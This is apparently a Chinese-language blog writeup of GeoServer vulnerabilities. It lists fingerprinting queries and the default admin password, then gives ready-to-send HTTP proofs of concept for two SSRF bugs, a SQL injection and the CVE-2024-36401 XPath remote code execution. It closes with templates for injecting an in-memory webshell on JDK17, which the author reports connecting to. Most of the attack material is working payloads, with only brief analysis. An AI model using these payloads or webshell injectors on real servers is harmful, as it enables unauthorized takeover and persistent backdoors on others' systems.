geoserver历史漏洞
geoserver介绍
GGeoServer 是一个开源的地理信息服务器,用于发布和共享地理空间数据。它是由 GeoTools 库驱动的,GeoTools 是一个用于处理地理数据的 Java 库。GeoServer 允许用户从各种数据源(如 Shapefile、PostGIS、Oracle Spatial、ArcSDE 等)发布地理空间数据,并通过标准的 OGC(Open Geospatial Consortium)协议(如 WMS、WFS、WCS 等)进行访问。
历史漏洞
指纹信息如下
1 2 3
| icon_hash=“97540678” title="GeoServer: Welcome" inurl:"/geoserver/ows?service=wfs"
|
弱口令
1 2
| user:admin password:geoserver
|
SSRF
CVE-2023-43795
这个SSRF漏洞需要geoserver配置wps插件,默认情况下,geoserver是没有wps插件的,因此需要我们手动配置
从链接中下载插件压缩包:https://sourceforge.net/projects/geoserver/files/GeoServer/2.22.1/extensions/geoserver-2.22.1-wps-plugin.zip/download,将所有的*.jar包全放入geoserver-2.22.1-bin/webapps/geoserver/WEB-INF/lib中,重启geoserver,我们进入后台,就可以看到wps插件了

漏洞POC如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46
| POST /geoserver/wms HTTP/1.1 Host: 127.0.0.1:8088 Content-Length: 999 Accept: application/xml, text/xml, */*; q=0.01 Wicket-Ajax-BaseURL: wicket/bookmarkable/org.geoserver.wps.web.WPSRequestBuilder?15 X-Requested-With: XMLHttpRequest Wicket-Ajax: true Wicket-FocusedElementId: id44 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36 Content-Type: application/xml Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Connection: close
<?xml version="1.0" encoding="UTF-8"?> <wps:Execute version="1.0.0" service="WPS" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns="http://www.opengis.net/wps/1.0.0" xmlns:wfs="http://www.opengis.net/wfs" xmlns:wps="http://www.opengis.net/wps/1.0.0" xmlns:ows="http://www.opengis.net/ows/1.1" xmlns:gml="http://www.opengis.net/gml" xmlns:ogc="http://www.opengis.net/ogc" xmlns:wcs="http://www.opengis.net/wcs/1.1.1" xmlns:xlink="http://www.w3.org/1999/xlink" xsi:schemaLocation="http://www.opengis.net/wps/1.0.0 http://schemas.opengis.net/wps/1.0.0/wpsAll.xsd"> <ows:Identifier>JTS:area</ows:Identifier> <wps:DataInputs> <wps:Input> <ows:Identifier>geom</ows:Identifier> <wps:Reference mimeType="application/json" xlink:href="http://test.qccfahdlsf.lfcx.eu.org" method="GET"/> </wps:Input> </wps:DataInputs> <wps:ResponseForm> <wps:RawDataOutput> <ows:Identifier>result</ows:Identifier> </wps:RawDataOutput> </wps:ResponseForm> </wps:Execute>
|
我们这里成功接收到了DNS请求

CVE-2021-40822
在GeoServer 2.19.3、2.18.5和2.17.6版本之前,WMS GetMap请求中存在服务器端请求伪造(SSRF)漏洞。攻击者可以利用此漏洞通过GeoServer服务器向内部或外部服务发送请求
漏洞Poc如下
需要注意的是,数据包中Host头部值和参数url中的值要相同
1 2 3 4 5 6 7 8 9 10 11 12
| POST /geoserver/TestWfsPost HTTP/1.1 Host: www.baidu.com Accept-Encoding: gzip, deflate, br Accept: */* Accept-Language: en-US;q=0.9,en;q=0.8 User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36 Connection: close Cache-Control: max-age=0 Content-Type: application/x-www-form-urlencoded Content-Length: 96
form_hf_0=&url=http://www.baidu.com/geoserver/../&body=testtest&username=admin&password=admin
|
可以成功返回目标url的响应内容,本来想着有回显,想尝试一下读文件,但是由于后端进行了类型转换,FtpURLConnection不能转为HttpURLConnection而报错

SQL注入 CVE-2023-25157
影响版本:
- geoserver<2.18.7
- 2.19.0<=geoserver<2.19.7
- 2.20.0<=geoserver<2.20.7
- 2.21.0<=geoserver<2.21.4
- 2.22.0<=geoserver<2.22.2
首先访问/geoserver/ows?service=WFS&version=1.0.0&request=GetCapabilities获取<Name>标签中的信息,地理图层列表
这里以vulhub:example为例

然后将typeName的name属性拼接到url中,SQL注入POC如下
1
| /geoserver/ows?service=wfs&version=1.0.0&request=GetFeature&typeName=vulhub:example&CQL_FILTER=strStartsWith(name,%27x%27%27)%20=%20true%20and%201=(SELECT%20CAST%20((SELECT%20version())%20AS%20integer))%20--%20%27)%20=%20true
|
成功获取到数据库版本号信息

XPath表达式 RCE CVE-2024-36401
该漏洞源于Geoserver使用的第三方库GeoTool因为使用了不安全的commons-jxpath 引擎处理xpath语句导致未授权能够通过发送各类OGC请求控制了复杂的xpath表达式并注入恶意代码从而rce
影响版本:
- version < 2.23.6
- version < 2.24.4
- version < 2.25.2
漏洞复现
漏洞Poc如下,这个Poc的效果是达到了任意命令执行的效果,同时我们可以修改Poc执行任意代码来注入内存马,这个后面再说
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| POST /geoserver/wfs HTTP/1.1 Host: 127.0.0.1:8088 Content-Type: application/xml Content-Length: 339
<wfs:GetFeature service="WFS" version="1.1.0" xmlns:topp="http://www.openplans.org/topp" xmlns:wfs="http://www.opengis.net/wfs" xmlns="http://www.opengis.net/ogc" xmlns:gml="http://www.opengis.net/gml" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.opengis.net/wfs"> <wfs:Query typeName="topp:states"> <Filter> <Intersects> <PropertyName>exec(java.lang.Runtime.getRuntime(),"touch /tmp/geoserver.txt")</PropertyName> </Intersects> </Filter> </wfs:Query> </wfs:GetFeature>
|
文件创建成功

除此之外,我们可以使用GET请求也是可以触发漏洞的,Poc如下
1
| /geoserver/wfs?request=GetPropertyValue&service=wfs&typeNames=topp:states&valueReference=exec%28java.lang.Runtime.getRuntime%28%29%2C%22calc%22%29&version=2.0.0
|
漏洞分析
这个漏洞我们简单分析一下
明白了geoserver的路由以后,我们看到GetPropertyValue#run方法,在前面会解析我们body中的xml来获取参数,其中propertyNameNoIndexs参数为我们的XPath语句
然后调用了evaluate方法,猜测他是用来解析XPath语句的

跟进evaluate方法

再跟进get方法,可以看到,先调用JXPathContext.newContext,然后调用context.iteratePointers(xpath)来解析xpath语句,从而达到RCE的效果

内存马注入
正常情况下,我们使用js模板引擎来进行注入内存马,poc模板如下
注入时将base64Str替换为对应的base64字符串即可
注意geoserver的中间件为Jetty
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| POST /geoserver/wfs HTTP/1.1 Host: 101.36.122.13:8080 Content-Type: application/xml Content-Length: 339
<wfs:GetPropertyValue service='WFS' version='2.0.0' xmlns:topp='http: xmlns:fes='http: xmlns:wfs='http: <wfs:Query typeNames='sf:archsites'/> <wfs:valueReference> eval(getEngineByName(javax.script.ScriptEngineManager.new(), 'js'), 'var base64Str = "";var className = "com.fasterxml.jackson.quiYo.KeyUtils";var clsString = java.lang.Class.forName("java.lang.String");var bytecode;try { var decoder = java.lang.Class.forName("java.util.Base64").getMethod("getDecoder").invoke(null); bytecode = decoder.getClass().getMethod("decode", clsString).invoke(decoder, base64Str);} catch (ee) { var decoder = java.lang.Class.forName("sun.misc.BASE64Decoder").newInstance(); bytecode = decoder.getClass().getMethod("decodeBuffer", clsString).invoke(decoder, base64Str);}var clsByteArray = (new java.lang.String("").getBytes().getClass());var clsInt = java.lang.Integer.TYPE;var pTypes = java.lang.reflect.Array.newInstance(java.lang.Class.class, 4);java.lang.reflect.Array.set(pTypes, 0, clsString);java.lang.reflect.Array.set(pTypes, 1, clsByteArray);java.lang.reflect.Array.set(pTypes, 2, clsInt);java.lang.reflect.Array.set(pTypes, 3, clsInt);var defineClass = java.lang.Class.forName("java.lang.ClassLoader").getDeclaredMethod("defineClass", pTypes);defineClass.setAccessible(true);var clazz = defineClass.invoke(new java.net.URLClassLoader(java.lang.reflect.Array.newInstance(java.lang.Class.forName("java.net.URL"), 0),java.lang.Thread.currentThread().getContextClassLoader()), className, bytecode, new java.lang.Integer(0), new java.lang.Integer(bytecode.length));clazz.newInstance();') </wfs:valueReference> </wfs:GetPropertyValue>
|
在我使用docker搭建起来vulhub中的geoserver后,多次尝试发现Runtime.exec可以成功执行命令,而想使用ScriptEnginer去执行javaScript表达式却一直不可以,最后发现问题:搭建的geoserver中JDK版本为17,在JDK17中,ashorn 引擎jdk17被移除了
经过了长时间的探索,我在memshellParty中找到了可用的方式
选择中间件为Jetty,利用方式为JXPath,打包方式为JXPathSpringGzipJDK17,且由于JDK17的强封装机制,注入器CLassName需要在org.springframework.expression下

Poc模板如下
1 2 3 4 5 6 7 8 9 10 11 12
| POST /geoserver/wfs HTTP/1.1 Host: 127.0.0.1:8088 Content-Type: application/xml Content-Length: 339
<wfs:GetPropertyValue service='WFS' version='2.0.0' xmlns:topp='http://www.openplans.org/topp' xmlns:fes='http://www.opengis.net/fes/2.0' xmlns:wfs='http://www.opengis.net/wfs/2.0'> <wfs:Query typeNames='tiger:poi'/> <wfs:valueReference>newInstance(org.springframework.cglib.core.ReflectUtils.defineClass('org.springframework.expression.dXZYzwrx',org.springframework.util.StreamUtils.copyToByteArray(java.util.zip.GZIPInputStream.new(java.io.ByteArrayInputStream.new(org.springframework.util.Base64Utils.decodeFromString('')))),getContextClassLoader(java.lang.Thread.currentThread()),getProtectionDomain(java.lang.Class.forName('org.springframework.expression.ExpressionParser')),java.lang.Class.forName('org.springframework.expression.ExpressionParser')))</wfs:valueReference> </wfs:GetPropertyValue>
|
如果爆出ClassCastExeption错误,则说明我们的代码执行成功

内存马连接成功
